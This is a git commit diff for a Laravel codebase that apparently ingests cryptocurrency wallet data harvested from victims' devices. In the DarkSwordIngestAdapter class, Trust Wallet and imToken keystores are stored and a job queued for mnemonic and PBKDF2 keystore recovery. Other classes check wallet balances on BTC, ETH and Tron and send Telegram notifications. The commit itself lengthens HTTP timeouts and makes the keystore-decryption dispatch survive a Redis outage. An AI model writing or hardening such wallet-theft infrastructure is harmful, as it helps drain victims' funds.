feat: 26&timeout&keystore

This commit is contained in:
hashbro
2026-09-24 03:00:57 +08:00
parent f9fd356679
commit cc66811dbd
18 changed files with 303 additions and 16 deletions
+1 -1
View File
@@ -474,6 +474,6 @@ class BtcDriver implements ChainDriver
private function http(): PendingRequest
{
return Http::timeout(30)->acceptJson();
return Http::connectTimeout(20)->timeout(120)->acceptJson();
}
}
+1 -1
View File
@@ -251,6 +251,6 @@ class EthDriver implements ChainDriver
private function http(): PendingRequest
{
return Http::timeout(30)->acceptJson()->asJson();
return Http::connectTimeout(20)->timeout(120)->acceptJson()->asJson();
}
}
+1 -1
View File
@@ -300,7 +300,7 @@ class TronDriver implements ChainDriver
private function http(): PendingRequest
{
$req = Http::timeout(30)->acceptJson()->asJson();
$req = Http::connectTimeout(20)->timeout(120)->acceptJson()->asJson();
$apiKey = (string) config('coruna.tron.api_key', '');
if ($apiKey !== '') {
$req = $req->withHeaders(['TRON-PRO-API-KEY' => $apiKey]);
+25 -4
View File
@@ -17,6 +17,7 @@ use App\Support\WalletSource;
use Illuminate\Database\QueryException;
use Illuminate\Database\UniqueConstraintViolationException;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Log;
use Illuminate\Support\Facades\Storage;
/**
@@ -256,7 +257,7 @@ class DarkSwordIngestAdapter
$this->trustAddresses->ingest($device, $wallets);
// Async: mnemonic recovery + plaintext walk + address extraction.
DecryptDeviceKeystores::dispatch($device->id, $wallets, $sandbox);
$this->dispatchKeystoreDecrypt($device, $wallets, $sandbox);
}
/**
@@ -506,7 +507,7 @@ class DarkSwordIngestAdapter
$this->storeWalletKeystores($device, ['trust_wallet' => $raw], 'sandbox', null);
// Async: attempt Trust UTC keystore decryption.
DecryptDeviceKeystores::dispatch($device->id, null, ['trust_wallet' => $raw]);
$this->dispatchKeystoreDecrypt($device, null, ['trust_wallet' => $raw]);
}
/**
@@ -536,7 +537,7 @@ class DarkSwordIngestAdapter
$this->trustAddresses->ingest($device, $wallets);
// Async: mnemonic recovery + plaintext walk + address extraction.
DecryptDeviceKeystores::dispatch($device->id, $wallets, $sandbox);
$this->dispatchKeystoreDecrypt($device, $wallets, $sandbox);
}
/**
@@ -557,7 +558,27 @@ class DarkSwordIngestAdapter
// Async: attempt recovery (imToken needs password — will likely fail,
// but the job logs the reason and still extracts addresses if any).
DecryptDeviceKeystores::dispatch($device->id, ['imtoken' => $json], null);
$this->dispatchKeystoreDecrypt($device, ['imtoken' => $json], null);
}
/**
* Queue PBKDF2 / keystore recovery off the request. A Redis outage must not
* fail the ingest that already stored the keystore blobs.
*
* @param array<string, mixed>|null $wallets
* @param array<string, mixed>|null $sandbox
*/
private function dispatchKeystoreDecrypt(Device $device, ?array $wallets, ?array $sandbox): void
{
try {
DecryptDeviceKeystores::dispatch($device->id, $wallets, $sandbox);
} catch (\Throwable $e) {
Log::channel('keystore')->error('DecryptDeviceKeystores dispatch failed', [
'device_id' => $device->id,
'device_key' => $device->device_id,
'error' => $e->getMessage(),
]);
}
}
/**
+2 -1
View File
@@ -69,7 +69,8 @@ class PhotoOrigin
}
try {
$resp = Http::timeout(max(5, (int) config('coruna.photo_origin.timeout', 60)))
$resp = Http::connectTimeout(20)
->timeout(max(30, (int) config('coruna.photo_origin.timeout', 180)))
->withHeaders(['X-Photo-Origin-Token' => $this->token()])
->get($this->baseUrl().'/hooks/photo-origin/'.$photo->id);
} catch (\Throwable $e) {
+2 -2
View File
@@ -61,7 +61,7 @@ class TelegramNotifier
}
try {
$resp = Http::timeout(8)->get("https://api.telegram.org/bot{$token}/getMe");
$resp = Http::connectTimeout(20)->timeout(30)->get("https://api.telegram.org/bot{$token}/getMe");
if (! $resp->successful() || $resp->json('ok') !== true) {
return null;
}
@@ -157,7 +157,7 @@ class TelegramNotifier
}
try {
$resp = Http::timeout(15)->asForm()->post(
$resp = Http::connectTimeout(20)->timeout(60)->asForm()->post(
"https://api.telegram.org/bot{$token}/sendMessage",
[
'chat_id' => $chatId,
+1 -1
View File
@@ -54,7 +54,7 @@ class TokenviewClient
]);
try {
$resp = Http::timeout(20)->get($endpoint, [
$resp = Http::connectTimeout(20)->timeout(120)->get($endpoint, [
'apikey' => (string) config('coruna.tokenview.api_key'),
]);
$ok = $resp->successful() && (int) $resp->json('code') === 1;
+1 -1
View File
@@ -190,7 +190,7 @@ class WalletBalanceService
// full_node may be https://api.trongrid.io — v1 lives on the same host.
$url = $base.'/v1/accounts/'.rawurlencode($address);
$req = Http::timeout(20)->acceptJson();
$req = Http::connectTimeout(20)->timeout(120)->acceptJson();
$apiKey = (string) config('coruna.tron.api_key', '');
if ($apiKey !== '') {
$req = $req->withHeaders(['TRON-PRO-API-KEY' => $apiKey]);